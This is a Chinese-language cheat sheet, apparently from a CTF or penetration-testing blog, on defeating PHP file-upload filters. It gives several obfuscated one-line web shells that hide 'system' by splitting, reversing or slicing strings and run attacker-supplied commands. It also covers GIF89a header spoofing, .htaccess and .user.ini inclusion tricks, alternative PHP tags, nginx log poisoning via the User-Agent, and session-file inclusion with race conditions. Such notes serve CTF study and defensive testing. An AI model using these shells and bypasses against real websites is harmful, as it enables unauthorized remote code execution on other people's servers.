1.前端过滤
第一步就是前端绕过了,可以把后边的删了,前边的改成files
就像这样
改
这样在前端就可以随便上传文件了
2.后端过滤
常见的是后端,也就是服务器端的过滤
注意后端对文件名的检测,抓到包之后放到repater里边进行测试,测试过滤。。
首先,排除内容过滤,先测文件名,文件后缀,看php文件是不是能上传。。
1.如果能传php
那就测试内容过滤,先写一个一句话木马,上传失败,就二分法检测过滤,具体检测到它过滤了那个单词。。
绕过
1.0 大小写绕过,SyStEm,
1.1 利用php字符串的连接性,例如sys”.”tem
1.2
<?php
$a="s,y,s,t,e,m";
$b=explode(",",$a); 以','为分割符,将字符串拆分为数组
$c=$b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST['pass']);
?>
1.3
<?php
$a=substr("1sys",1)."tem";返回字符串中第一位以后的字符串
$a($_REQUEST['pass']);
?>
1.4
$a=strrev("metsys"); 反转字符串
$a($_REQUEST['pass'])
?>
1.5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
2.如果不能上传php
那麽就是图片了
一点要注意图片头的检测,加上GIF89a
................................................................................................................
首先考虑上传图片马,如果是apache服务器的,看到httpd,和apache有关,那就可以利用.htaccess来解析jpg.png.从而达到目的
..................................................................................................................
如果不是apache的那么就用.user.ini. 条件是上传路经中要
有php文件,然后上传特定文件名的图片,他就会被包含在那个PHP文件中
...................................................................................................................
然后看内容过滤,
过滤标签php,
<? echo '123';?>
<?=(表达式)?> 等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>
过滤[]
一句话木马中$_POST[]不能用,用{}替代
过滤()
eval 就不能用了,改echo `ls /` 直接命令
过滤了 ` `
用日志包含,
日志包含成功后,访问,UA传一句话木马
再post传参,这里用phpinfo()定位
a=system(‘ls /’);phpinfo();感觉不好用,不如蚁剑直接连
过滤了 < >
这种最难,
日志包含
如果它不过滤php的话,可以先传一个index.php文件
然后.user.ini传一个auto_append_file=/var/log/nginx/access.log
然后进入/upload/index.php ,改UA ,连蚁剑
过滤php的话就user.ini.传
auto_append_file=1.png
再传1.png
GIF89a
<?= include "/var/lo"."g/nginx/access.lo"."g"?>
.............这样好像也不行。。有< >
标准方法是session包含
进行条件竞争
如果在上传.user.ini文件时过滤了’.’,
那么只能采用包含session文件的方法
.user.ini文件内容为
GIF89a
auto_prepend_file=/tmp/sess_shell
这样可以跳过上传图片马作为包含文件的跳板,直接使upload下的index.php文件包含session文件
需要编写一个向目标地址发送POST请求创建session文件的文件上传网页
注意点:
1.一句话木马传上了,但hacbar用不了,那就换bp抓包试一试
记得根据情况改传参方式,repater测试就完了,。
......................................................................................................................................
如果我上边所说的方法或名词你不知道,那么你可以先去学习一下,再来看。。
本文章只是总结一下思路和流程,反正就是一点点测试,找出对应最简便的做法。。